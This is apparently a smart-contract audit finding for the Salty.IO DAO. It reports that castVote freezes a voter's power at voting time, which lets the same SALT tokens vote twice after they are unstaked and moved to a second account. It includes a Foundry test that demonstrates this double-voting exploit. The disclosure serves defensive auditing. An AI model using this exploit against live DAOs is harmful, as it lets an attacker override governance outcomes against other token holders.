Salty.IO - Matue's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293

Vulnerability details

Impact

In the Proposals contract, we have the external function castVote:

Proposals.sol#L259-L293

	function castVote( uint256 ballotID, Vote vote ) external nonReentrant
		{
		Ballot memory ballot = ballots[ballotID];

		// Require that the ballot is actually live
		require( ballot.ballotIsLive, "The specified ballot is not open for voting" );

		// Make sure that the vote type is valid for the given ballot
		if ( ballot.ballotType == BallotType.PARAMETER )
			require( (vote == Vote.INCREASE) || (vote == Vote.DECREASE) || (vote == Vote.NO_CHANGE), "Invalid VoteType for Parameter Ballot" );
		else // If a Ballot is not a Parameter Ballot, it is an Approval ballot
			require( (vote == Vote.YES) || (vote == Vote.NO), "Invalid VoteType for Approval Ballot" );

		// Make sure that the user has voting power before proceeding.
		// Voting power is equal to their userShare of STAKED_SALT.
		// If the user changes their stake after voting they will have to recast their vote.

		uint256 userVotingPower = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT );
		require( userVotingPower > 0, "Staked SALT required to vote" );

		// Remove any previous votes made by the user on the ballot
		UserVote memory lastVote = _lastUserVoteForBallot[ballotID][msg.sender];

		// Undo the last vote?
		if ( lastVote.votingPower > 0 )
			_votesCastForBallot[ballotID][lastVote.vote] -= lastVote.votingPower;

		// Update the votes cast for the ballot with the user's current voting power
		_votesCastForBallot[ballotID][vote] += userVotingPower;

		// Remember how the user voted in case they change their vote later
		_lastUserVoteForBallot[ballotID][msg.sender] = UserVote( vote, userVotingPower );

		emit VoteCast(msg.sender, ballotID, vote, userVotingPower);
		}

This function is used to compute a user's vote on a proposal made to the DAO. When voting, the user's voting power is calculated (line 276) and recorded (line 287).

As we can see in line 276, the calculation of voting is the amount staked in the salt pool.

StakingRewards.sol#L266-L269

	function userShareForPool( address wallet, bytes32 poolID ) public view returns (uint256)
		{
		return _userShareInfo[wallet][poolID].userShare;
		}

Here is the function used to finalize a proposal, and in it we can verify that the votes are not recalculated:

DAO.sol#L278-L291

	function finalizeBallot( uint256 ballotID ) external nonReentrant
		{
		// Checks that ballot is live, and minimumEndTime and quorum have both been reached
		require( proposals.canFinalizeBallot(ballotID), "The ballot is not yet able to be finalized" );

		Ballot memory ballot = proposals.ballotForID(ballotID);

		if ( ballot.ballotType == BallotType.PARAMETER )
			_finalizeParameterBallot(ballotID);
		else if ( ballot.ballotType == BallotType.WHITELIST_TOKEN )
			_finalizeTokenWhitelisting(ballotID);
		else
			_finalizeApprovalBallot(ballotID);
		}

Proposals.sol#L385-L400

	function canFinalizeBallot( uint256 ballotID ) external view returns (bool)
		{
        Ballot memory ballot = ballots[ballotID];
        if ( ! ballot.ballotIsLive )
        	return false;

        // Check that the minimum duration has passed
        if (block.timestamp < ballot.ballotMinimumEndTime )
            return false;

        // Check that the required quorum has been reached
        if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType( ballot.ballotType ))
            return false;

        return true;
	    }

DAO.sol#L219-L228

	function _finalizeApprovalBallot( uint256 ballotID ) internal
		{
		if ( proposals.ballotIsApproved(ballotID ) )
			{
			Ballot memory ballot = proposals.ballotForID(ballotID);
			_executeApproval( ballot );
			}

		proposals.markBallotAsFinalized(ballotID);
		}

Proposals.sol#L130-L152

	function markBallotAsFinalized( uint256 ballotID ) external nonReentrant
		{
		require( msg.sender == address(exchangeConfig.dao()), "Only the DAO can mark a ballot as finalized" );

		Ballot storage ballot = ballots[ballotID];

		// Remove finalized whitelist token ballots from the list of open whitelisting proposals
		if ( ballot.ballotType == BallotType.WHITELIST_TOKEN )
			_openBallotsForTokenWhitelisting.remove( ballotID );

		// Remove from the list of all open ballots
		_allOpenBallots.remove( ballotID );

		ballot.ballotIsLive = false;

		// Indicate that the user who posted the proposal no longer has an active proposal
		address userThatPostedBallot = _usersThatProposedBallots[ballotID];
		_userHasActiveProposal[userThatPostedBallot] = false;

		delete openBallotsByName[ballot.ballotName];

		emit BallotFinalized(ballotID);
		}

However, due to the design adopted, the voting power of each user is not recalculated at the end of the vote, working only with the time cut of the voting power at the time of voting.

Proof of Concept

Therefore, not recalculating the voting power at the end of the vote implies different scenarios, the following is one of them:

Steps to reproduce:

• A proposal is created by Alice
• Alice stakes Salt.
• Alice votes on the created proposal
• Alice untakes Salt, and will wait two weeks to get her tokens.
• After two weeks, Alice transfers her Salts to another account of hers (bob).
• Bob stakes Salt
• Bob votes on the proposal, doubling his voting power, since he used the same tokens on Alice's account.

As we saw in this scenario, if a user has 33.34% voting power, if they explore this scenario they will be able to beat the majority in a Yes or No proposal, even if everyone else votes against.

Here is a test to prove the PoC described above. You can include this function in the file Proposals.t.sol:

function testProposeSameBallotNameMultipleTimesAndForOpenBallot() public {
        vm.stopPrank();
        vm.startPrank(DEPLOYER);
        salt.transfer(charlie, 6666 ether);
        vm.stopPrank();
        vm.startPrank(charlie);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT( 6666 ether );

        vm.stopPrank();
        vm.startPrank(alice);
        console.log("[Alice] Salt balance: ", salt.balanceOf(alice));
        staking.stakeSALT( 3334 ether );
        IERC20 testToken = new TestERC20("TEST", 18);
        proposals.proposeTokenWhitelisting(testToken, "https://tokenIconURL", "This is a test token");
        console.log("[Alice] Stake amount:   ", staking.userXSalt(alice));
        console.log("Voting on ballot");
        
        proposals.castVote( 1, Vote.YES );
        console.log("Unstaking...");
        staking.unstake(3334 ether, 2);
        console.log("[Alice] Stake amount: ", staking.userXSalt(alice));
        console.log("Skipping forward two weeks...");
        vm.warp(block.timestamp + 2 * ( 1 weeks ));
        staking.recoverSALT(0);
        console.log("[Alice] Salt balance: ", salt.balanceOf(alice));
        console.log("Transfering the funds for bob account");
        salt.transfer(bob, 3334 ether);
        console.log("[Bob] Salt balance: ", salt.balanceOf(bob));
        vm.stopPrank();
        vm.startPrank(bob);
        staking.stakeSALT( 3334 ether );
        proposals.castVote( 1, Vote.YES );
        // If a given user has 33.34%, he or she its allowed to beat all the another users

        vm.stopPrank();
        vm.startPrank(charlie);
        proposals.castVote( 1, Vote.NO );

        console.log("Ballot is approved?", proposals.ballotIsApproved(1));
        console.log("Ballot votes: YES -> ", proposals.votesCastForBallot(1, Vote.YES), ", NO -> ", proposals.votesCastForBallot(1, Vote.NO));
        console.log(proposals.canFinalizeBallot(1));
		vm.stopPrank();

        // Finalize the ballot
        vm.prank( address(dao) );
        proposals.markBallotAsFinalized(1);
    }

Tools Used

vscode, foundry

Recommended Mitigation Steps

Revalidate the voting power to finalize a proposal, this will allow a fair result for all users.

Assessed type

Other